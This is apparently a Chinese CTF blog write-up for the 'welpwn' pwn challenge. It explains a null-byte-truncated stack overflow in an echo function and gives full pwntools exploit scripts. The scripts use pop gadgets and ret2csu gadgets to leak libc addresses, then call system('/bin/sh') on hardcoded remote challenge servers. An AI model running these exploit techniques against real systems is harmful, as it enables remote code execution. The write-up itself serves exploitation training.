更多内容关注博客新址
If you don’t go into the water, you can’t swim in your life
文中所用到的程序文件:bin file
# -*- coding: cp936 -*-
from pwn import *
# def get_length():
# i = 0
# while True:
# try:
# p = remote('101.200.240.241',7000)
# p.recvuntil('biu:')
# func = int(p.recv(8),16)
# log.success("func=%#x",func)
# payload = 'A'*64 + '\x00' + 'B'*i + p64(func)
# p.sendline(payload)
# p.recv()
# try:
# output = p.recv()
# return i
# except EOFError:
# i += 1
# except:
# i += 1
# p.close()
# length = get_length()
length = 7
p = remote('124.126.19.106',39729)
print p.recv()
print p.recv()
payload = 'A'*64 + '\x00'+ 'B'*7 + p64(0x40060d)
p.sendline(payload)
print p.recv()
main函数中的read读入很长的内容,但是没办法造成栈溢出。只能把关注点放到函数echo
int __fastcall echo(__int64 a1)
{
char s2[16]; // [rsp+10h] [rbp-10h]
for ( i = 0; *(_BYTE *)(i + a1); ++i )
s2[i] = *(_BYTE *)(i + a1);
s2[i] = 0;
if ( !strcmp("ROIS", s2) )
{
printf("RCTF{Welcome}", s2);
puts(" is not flag");
}
return printf("%s", s2);
}
可以发现这个函数实际上就是把之前read获得的输入复制到栈上的数组s2中,很容易发现溢出点就在这个地方。
但是还有一个问题,这个复制过程有0截断,也就是说当我们写入一连串地址时,并不能够将所有地址都成功复制到s2中,而64位的程序在构造ROP链时无论如何都会有0x00。
不过幸运的是echo的函数栈帧很小:
.text:000000000040071D push rbp
.text:000000000040071E mov rbp, rsp
.text:0000000000400721 sub rsp, 20h
.....
.text:00000000004007CB leave
.text:00000000004007CC retn
也就是说我们可以通过简单的pop填充,是rsp指向我们在输入时布置在main的栈帧中的地址,进而劫持RIP到指定函数完成libc泄露和get shell
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='DEBUG')
# p = process('./welpwn')
p = remote('124.126.19.106',59629)
elf = ELF('./welpwn',checksec=False)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.sym['main']
pop_rdi = 0x00000000004008a3 # pop rdi ; ret
pop4 = 0x000000000040089C
# we could find it just execute pop xxx 4 times and it will arrive the location we put on stack frame of main by debug
gadgets1 = 0x000000000040089A
gadgets2 = 0x0000000000400880
# call write to leak libc by universe gadgets(get shell successfully both server and local)
payload = 0x18 * 'A'
payload += flat([
pop4, gadgets1, 0, 1, write_got, 8, write_got, 1, gadgets2
])
payload += 'A'*56 + p64(main)
p.send(payload)
p.recvuntil("Welcome to RCTF\n")
write_addr = u64(p.recv(6).ljust(8,'\x00'))
log.success('write_addr = %#x',write_addr)
# pause()
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
'''
# get shell successfull locally
payload = (0x18)*'A'
payload += flat([pop4 ,pop_rdi,puts_got, puts_plt, main])
p.recvuntil("Welcome to RCTF")
p.send(payload)
# pause()
data = p.recvuntil("Welcome to RCTF\n",drop=True)
pust_addr = u64(data[-7:-1].ljust(8,'\x00'))
log.success('pust_addr = %#x',pust_addr)
# pause()
libc = LibcSearcher('puts',pust_addr)
libc_base = pust_addr - libc.dump('puts')
'''
system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
log.success('system_addr = %#x, binsh = %#x'%(system_addr,binsh))
payload = 'A'*(0x18)
payload += flat([pop4, pop_rdi, binsh, system_addr, main])
p.send(payload)
sleep(0.1)
p.interactive()